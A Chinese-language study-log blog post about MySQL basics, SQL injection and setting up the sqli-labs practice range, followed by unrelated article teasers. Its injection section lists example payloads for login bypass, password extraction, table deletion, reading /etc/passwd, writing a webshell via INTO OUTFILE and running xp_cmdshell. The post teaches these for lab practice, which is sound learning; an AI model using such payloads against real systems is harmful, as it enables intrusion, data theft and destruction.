news 2026/5/1 8:06:19

【Web第三周】『12.9-12.14』

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web第三周】『12.9-12.14』

【Web第三周】『12.9-12.14』

1.初步了解数据库(MySQL) 2.初步了解sql注入漏洞 3.练习sql语句

4.搭建sql靶场,找不到的,靶场文件群文件有

1MySQL

  1. mysql:MySQL服务的客户端
  2. mysqld:MySQL服务的服务端

两者结合在一起才是MySQL,是一种网络服务。

MySQL是一套给我们通过数据存取服务的网络程序,而数据库一般指在磁盘或者内存中存储的特定结构的数据。数据库本质是对数据存储管理的一套解决方案。

---在 Ubuntu 上安装 MySQL 可使用如下命令:

1bash深色版本

2sudo apt update

3sudo apt install mysql-server

安装完成后,建议运行安全脚本加强数据库的安全性:

1bash深色版本

2sudo mysql_secure_installation

MySQL 的基本操作

  1. 启动与停止服务 bash深色版本

sudo systemctl start mysql sudo systemctl stop mysql sudo systemctl restart mysql

  1. 登录数据库 bash深色版本 mysql -u root -p 输入密码后即可进入 MySQL 命令行界面。
  2. 创建数据库与用户 sql深色版本

CREATE DATABASE mydb;

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON mydb.* TO 'myuser'@'localhost';

FLUSH PRIVILEGES;

  1. 表结构设计示例 sql深色版本

USE mydb;

CREATE TABLE users (

id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE,

email VARCHAR(100),

created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP

);

  1. 插入与查询数据 sql深色版本

INSERT INTO users (username, email) VALUES ('john_doe', 'john@example.com'); SELECT * FROM users;

2、初步了解sql注入漏洞

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而操控后端数据库查询,获取、修改或删除数据库中的敏感数据。

基本原理

[SQL注入漏洞]产生的原因是应用程序将用户输入直接拼接到SQL查询语句中,而没有进行适当的过滤或参数化处理。当恶意输入被当作SQL代码执行时,就可能导致非预期的数据库操作。

sql的功能

  1. 数据泄露(绕过登录验证)具体操作:

-- 输入用户名: admin' --

-- 输入密码: (任意值)

-- 实际执行的SQL:

SELECT * FROM users WHERE username='admin' --' AND password='xxx' 效果:注释掉密码检查,直接以 admin 身份登录。

  1. 数据泄露(获取数据库内容)具体操作:

-- 正常查询:

SELECT title, content FROM articles WHERE id=1

-- 注入攻击:

1' UNION SELECT username, password FROM users -效果:返回 users 表中的账号密码数据。

  1. 数据篡改(修改数据库记录)具体操作:

-- 正常更新:

UPDATE profile SET bio='Hello' WHERE user_id=100

-- 注入攻击:

100'; UPDATE users SET password='hacked' WHERE username='admin' -效果:修改 admin 的密码为 hacked。

  1. 数据删除(清空数据库表)具体操作:

-- 正常删除:

DELETE FROM orders WHERE order_id=123

-- 注入攻击:

123'; DROP TABLE users --

效果:删除整个 users 表,导致数据丢失。

  1. 权限提升(创建管理员账户)具体操作:

-- 正常插入:

INSERT INTO customers (name, email) VALUES ('test', 'test@example.com')

-- 注入攻击:

test', 'test@example.com'); INSERT INTO admins (username, password) VALUES ('hacker', 'p@ssw0rd') -效果:在 admins 表中插入一个管理员账户。

  1. 服务器文件读取(获取敏感文件)具体操作(MySQL): -- 注入攻击:

1' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --

效果:返回服务器的 /etc/passwd 文件内容(Linux用户信息)。

  1. 服务器文件写入(上传Webshell)具体操作(MySQL): -- 注入攻击:

1' UNION SELECT "", NULL INTO OUTFILE '/var/www/html/shell.php' -效果:在网站根目录写入 shell.php,攻击者可执行任意命令。

  1. 操作系统命令执行(控制服务器)具体操作(SQL Server): -- 注入攻击:

1'; EXEC xp_cmdshell 'net user hacker P@ssw0rd /add' -效果:在服务器上创建新用户 hacker,用于远程登录。

3sql练习

常见练习类型与示例条件查询

SELECT ENAME, SAL

FROM emp

WHERE SAL BETWEEN 1000 AND 2000;

字符串处理

SELECT CONCAT(UPPER(SUBSTRING(ENAME,1,1)), LOWER(SUBSTRING(ENAME,2))) AS name FROM emp;

日期函数应用

SELECT ENAME, HIREDATE, TIMESTAMPDIFF(YEAR, HIREDATE, NOW()) AS work_years FROM emp; 分组与聚合

SELECT DEPTNO, AVG(SAL) AS avg_sal

FROM emp

GROUP BY DEPTNO;

4、搭建sql靶场

1、将sql安装包压缩到D:/phpstudy_pro/WWW/

把这个安装包解压到phpstudy的网站根目录下,比如D:/phpstudy_pro/WWW/

2、修改数据库配置文件:

sqli-labs/sql-connections/db-creds.inc

注意phpstudy自带的数据库默认密码是root

数据库会自动创建,只要配置好用户名、密码、主机地址就可以。

改好以后保存。

3、打开phpstudy,添加网站。

这一步除了填写域名,其他的都不用改。

注意区分名字是下划线_还是横杠-。

注意:PHP版本必须是php7,因为这个代码是php7的版本

部署成功以后Apache会自动重启,访问地址(后面的路径就是输入的域名,跟文件路径一致):

http://localhost/sqli-labs

4、初始化数据库

点击 Setup/reset Database for labs

看见这个就成功了,数据库只需要初始化一次,以后都不需要再点击这个重置数据库(reset db)的链接,除非误删数据或者换了数据库地址。

6、开始玩耍

回到首页,从page1开始,就可以愉快地玩耍了。

点击链接可以进入对应的关卡。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/30 2:54:56

AMD GPU与ComfyUI的终极配置指南:彻底解决GPU识别问题

AMD GPU与ComfyUI的终极配置指南:彻底解决GPU识别问题 【免费下载链接】ROCm AMD ROCm™ Software - GitHub Home 项目地址: https://gitcode.com/GitHub_Trending/ro/ROCm 想要在AMD GPU上流畅运行ComfyUI进行AI绘画创作,却总是遇到"Runtim…

作者头像 李华
网站建设 2026/4/30 0:45:07

Directus周起始日终极配置指南:从周日到周一的快速解决方案

Directus周起始日终极配置指南:从周日到周一的快速解决方案 【免费下载链接】directus Directus 是一个开源的、实时的内容管理平台,用于构建可扩展的数据管理应用程序。* 管理和操作数据库数据;支持多种数据库类型;支持自定义字段…

作者头像 李华
网站建设 2026/4/25 13:19:04

5款必装Linux自动壁纸工具:让你的桌面从此告别单调乏味

5款必装Linux自动壁纸工具:让你的桌面从此告别单调乏味 【免费下载链接】Awesome-Linux-Software 🐧 A list of awesome Linux softwares 项目地址: https://gitcode.com/GitHub_Trending/aw/Awesome-Linux-Software 你是否曾经盯着单调的Linux桌…

作者头像 李华